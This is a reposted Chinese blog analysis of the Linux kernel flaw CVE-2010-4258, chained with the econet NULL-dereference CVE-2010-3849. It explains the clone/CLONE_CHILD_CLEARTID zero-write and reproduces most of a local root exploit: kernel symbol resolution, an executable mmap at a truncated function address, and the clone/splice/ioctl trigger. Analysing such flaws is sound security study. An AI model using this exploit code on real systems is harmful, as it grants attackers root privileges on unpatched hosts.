zoukankan      html  css  js  c++  java
  • 【转】CVE-2010-4258 漏洞分析

    一. 漏洞简介

    CVE-2010-4258这个漏洞很有意思,主要思路是如果通过clone函数去创建进程,并且带有CLONE_CHILD_CLEARTID标志,那么进程在退出的时候,可以造成内核任意地址写0的bug。PoC代码利用了多个漏洞来达到权限提升的目的。

    二. 前置知识 (进程创建、退出)

    1.当fork或者clone一个进程在的时候, copy_process执行如下操作:

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. static struct task_struct *copy_process(unsigned long clone_flags,  
    2.                                         unsigned long stack_start,  
    3.                                         struct pt_regs *regs,  
    4.                                         unsigned long stack_size,  
    5.                                         int __user *child_tidptr,  
    6.                                         struct pid *pid,  
    7.                                         int trace)  
    8. {  
    9.         p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;  
    10.         /* 
    11.          * Clear TID on mm_release() 
    12.          */  
    13.         p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;  
    14. }  

    如果clone的flag带有CLONE_CHILD_CLEARTID标志,那么clear_child_tid指针中就会保存应用层传递进来的child_tidptr的地址。

    2.应用层调用clone函数,并传递CLONE_CHILD_CLEARTID标志,则child_tidptr指针就会被赋值给子进程的clear_child_tid

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. clone((int (*)(void *))trigger,  
    2.               (void *)((unsigned long)newstack + 65536),  
    3.               CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,  
    4.               &fildes, NULL, NULL, child_tidptr);  

    3.进程在退出的时候调用do_exit清理资源,调用路径如下:do_exit->exit_mm->mm_release

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. /* 
    2. * If we're exiting normally, clear a user-space tid field if 
    3. * requested.  We leave this alone when dying by signal, to leave 
    4. * the value intact in a core dump, and to save the unnecessary 
    5. * trouble, say, a killed vfork parent shouldn't touch this mm. 
    6. * Userland only wants this done for a sys_exit. 
    7. */  
    8. if (tsk->clear_child_tid) {  
    9.     if (!(tsk->flags & PF_SIGNALED) &&  
    10.         atomic_read(&mm->mm_users) > 1) {  
    11.         /* 
    12.          * We don't check the error code - if userspace has 
    13.          * not set up a proper pointer then tough luck. 
    14.          */  
    15.         put_user(0, tsk->clear_child_tid);  
    16.         sys_futex(tsk->clear_child_tid, FUTEX_WAKE,  
    17.                 1, NULL, NULL, 0);  
    18.     }  
    19.     tsk->clear_child_tid = NULL;  
    20. }  

    上述代码中,如果tsk->clear_child_tid不为空,那么其会调用put_user(0, tsk->clear_child_tid);

    4.put_user其实是一个宏,具体是__put_user_check函数,它会将tsk->clear_child_tid的值置为0

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. #define __put_user_check(x,ptr,size)                  
    2. ({                                
    3.     long __pu_err = -EFAULT;                  
    4.     __typeof__(*(ptr)) __user *__pu_addr = (ptr);         
    5.     __typeof__(*(ptr)) __pu_val = x;              
    6.     if (likely(access_ok(VERIFY_WRITE, __pu_addr, size)))     
    7.         __put_user_size(__pu_val, __pu_addr, (size),      
    8.                 __pu_err);            
    9.     __pu_err;                         
    10. })  

    __put_user_check函数会调用access_ok去检查传进来的参数是否合法

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. #define access_ok(type,addr,size)   _access_ok((unsigned long)(addr),(size))  
    2.   
    3. int _access_ok(unsigned long addr, unsigned long size)  
    4. {  
    5.     if (!size)  
    6.         return 1;  
    7.   
    8.     if (!addr || addr > (0xffffffffUL - (size - 1)))  
    9.         goto _bad_access;  
    10.   
    11.     if (segment_eq(get_fs(), KERNEL_DS))  
    12.         return 1;  
    13.   
    14.     if (memory_start <= addr && (addr + size - 1) < memory_end)  
    15.         return 1;  
    16.   
    17. _bad_access:  
    18.     pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx] ",  
    19.          current->pid, addr, size);  
    20.     return 0;  
    21. }  

    access_ok也是一个宏,具体函数为_access_ok,其主要对外部传进来的addr和size参数做合法性检查,其中关键调用语句如下

    if (segment_eq(get_fs(), KERNEL_DS))
    return 1;

    # define get_fs() (current_thread_info()->addr_limit)

    如果get_fs() = KERNEL_DS,那么_access_ok检查始终返回1.

    三. 前置知识(无效地址访问异常)

    每当我们访问一个无效地址的时候,系统便会执行do_page_fault去生成异常日志,结束异常进程等。

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. int do_page_fault(struct pt_regs *regs, unsigned long address,  
    2.           unsigned int write_access, unsigned int trapno)  
    3. {  
    4.     // ......  
    5.     die("Oops", regs, (write_access << 15) | trapno, address);  
    6.     do_exit(SIGKILL);  
    7. }  

    而往往一些内核bug产生的时候就满足get_fs() = KERNEL_DS这个条件,这个很关键。

    接下来看看CVE-2010-3849这个漏洞,它主要是一个0地址访问异常漏洞,msg->msg_name可以由用户空间控制,因此可以是个NULL值。接下来的saddr->cookie;这句调用就会造成0地址访问异常。

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,  
    2.                           struct msghdr *msg, size_t len)  
    3. {         
    4.       struct sock *sk = sock->sk;  
    5.       struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;  
    6.                   
    7.       eb->cookie = saddr->cookie;  
    8. }  



    四. 漏洞利用

    1.获取需要用到的函数地址

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. /* Resolve addresses of relevant symbols */  
    2. printf("[*] Resolving kernel addresses... ");  
    3. econet_ioctl = get_kernel_sym("econet_ioctl");  
    4. econet_ops = get_kernel_sym("econet_ops");  
    5. commit_creds = (_commit_creds) get_kernel_sym("commit_creds");  
    6. prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");  


    2.申请一块新进程的栈空间

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. if(!(newstack = malloc(65536))) {  
    2.                 printf("[*] Failed to allocate memory. ");  
    3.                 return -1;  
    4.         }  


    3.处理好需要映射的地址,比较关键

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. // econet_ops中保存了各个econet函数的地址指针,  
    2. // 10 * sizeof(void *)到达econet_ioctl的下一个函数地址  
    3. // 再-1,那么清零的时候是清掉了econet_ioctl下个函数地址的高24字节和econet_ioctl函数的高8字节  
    4. target = econet_ops + 10 * sizeof(void *) - OFFSET;  
    5.    
    6. // 清掉econet_ioctl函数的高8字节  
    7. landing = econet_ioctl << SHIFT >> SHIFT;  
    8.   
    9. // landing按页对齐,map了2个页的内存  
    10. payload = mmap((void *)(landing & ~0xfff), 2 * 4096,  
    11.                        PROT_READ | PROT_WRITE | PROT_EXEC,  
    12.                        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);  
    13.    
    14. if ((long)payload == -1) {  
    15.            rintf("[*] Failed to mmap() at target address. ");  
    16.            return -1;  
    17. }  
    18.   
    19. // 将提权代码拷贝到landing  
    20. memcpy((void *)landing, &trampoline, 1024);  

    ps.这里要说明一下,这里为什么要把地址映射到(econet_ioctl&0x00FFFFFF)地址范围内,而不是直接将econet_ops指针数组中的econet_ioctl函数地址清零呢。那是因为新版本的linux不允许用户直接调用mmap函数映射0地址了,所以采用了一个很巧妙的小技巧。

    可以调用查看下系统最低映射的地址,我这里是65536


    4.clone进程

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. // trigger用来触发CVE-2010-3849漏洞,是一个0地址访问异常  
    2. int trigger(int * fildes)  
    3. {  
    4.         int ret;  
    5.         struct ifreq ifr;  
    6.    
    7.         memset(&ifr, 0, sizeof(ifr));  
    8.         strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);  
    9.    
    10.         ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);  
    11.    
    12.         if(ret < 0) {  
    13.                 printf("[*] Failed to set Econet address. ");  
    14.                 return -1;  
    15.         }  
    16.    
    17.         splice(fildes[3], NULL, fildes[1], NULL, 128, 0);  
    18.         splice(fildes[0], NULL, fildes[2], NULL, 128, 0);  
    19.    
    20.         /* Shouldn't get here... */  
    21.         exit(0);  
    22. }  
    23.   
    24. // clone进程,子进程调用trigger触发0地址访问的漏洞,进而将target指向的地址清0  
    25. // 即清掉了econet_ioctl函数地址的高8字节  
    26. clone((int (*)(void *))trigger,  
    27.               (void *)((unsigned long)newstack + 65536),  
    28.               CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,  
    29.               &fildes, NULL, NULL, target);  


    5.最后ioctl函数触发底层的econet_ioctl函数执行,而econet_ioctl函数的高8字节已经被我们清零了,所以会调用到我们的map地址中,进而触发提权代码获得root权限

    [cpp] view plaincopy在CODE上查看代码片派生到我的代码片
     
    1. sleep(1);  
    2. printf("[*] Triggering payload... ");  
    3. ioctl(fildes[2], 0, NULL);  



    参考文章:

    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258

    http://www.exploit-db.com/exploits/15704/

    http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9

  • 相关阅读:
    投票系统完善
    投票系统设计与实现
    一天天进步
    洛谷P4168 [Violet]蒲公英 题解 数列分块
    LOJ6285. 数列分块入门 9 题解
    洛谷P5340 大中锋的游乐场 题解 分层图最短路
    P1073 [NOIP2009 提高组] 最优贸易 题解 分层图最短路
    洛谷P7297 [USACO21JAN] Telephone G 题解 分层图最短路
    洛谷P1119 灾后重建 题解 Floyd算法
    安装redis 后本地系统空间越来越小
  • 原文地址:https://www.cnblogs.com/jiayy/p/4445086.html
Copyright © 2011-2022 走看看